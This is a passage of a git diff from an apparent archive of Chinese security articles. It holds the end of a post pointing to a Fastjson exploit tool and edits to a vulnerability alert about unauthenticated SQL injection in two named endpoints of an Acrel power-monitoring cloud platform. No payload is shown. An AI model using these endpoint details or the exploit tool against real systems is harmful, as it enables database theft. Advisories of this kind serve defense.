管理Fastjson payload（6个类，共11种利用及绕过） + +**0x02 项目地址** +**** + +**https://github.com/c0ny1/FastjsonExploit** + + + diff --git a/doc/漏洞预警 | 安科瑞环保用电监管云平台SQL注入漏洞.md b/doc/漏洞预警 | 安科瑞环保用电监管云平台SQL注入漏洞.md index f38e1d2a..83f5f411 100644 --- a/doc/漏洞预警 | 安科瑞环保用电监管云平台SQL注入漏洞.md +++ b/doc/漏洞预警 | 安科瑞环保用电监管云平台SQL注入漏洞.md @@ -1,8 +1,8 @@ # 漏洞预警 | 安科瑞环保用电监管云平台SQL注入漏洞 -浅安 浅安安全 2024-12-05 00:03 +浅安 浅安安全 2024-12-10 00:00 **0x00 漏洞编号** -- 暂无 +- # 暂无 **0x01 危险等级** - 高危 @@ -11,18 +11,21 @@ 安科瑞环保用电监管云平台集成了物联网技术、云计算和大数据分析，通过对企业和工业园区的用电情况实时采集、监测和分析，为环保合规、能耗管理和智能用电提供技术支持。 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SWurkicwgzOT4LeOPBpry1N53ZhVM50ww0qovRFMge01lfyUOLHtUVkJ1jk7XFhXqVMG3SyTIezibEA/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SXVWpknFJg9UMKCu4qeRd8jmxkOZzkAaP2vmJKZvIQibPzlXnqS797Eg5QdiazqVjoTwyN0SPN7w0kQ/640?wx_fmt=png&from=appmsg "") **0x03 漏洞详情** +### **漏洞类型：** SQL注入 **影响：** -敏感信息泄露**** +获取敏感信息 + +**** **简述：** -安科瑞环保用电监管云平台的/MainMonitor/GetEnterpriseInfoById接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。 +安科瑞环保用电监管云平台的/MainMonitor/GetEnterpriseInfoById和/Home/newLogin接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。 **0x04 影响版本** - 安科瑞环保用电监管云平台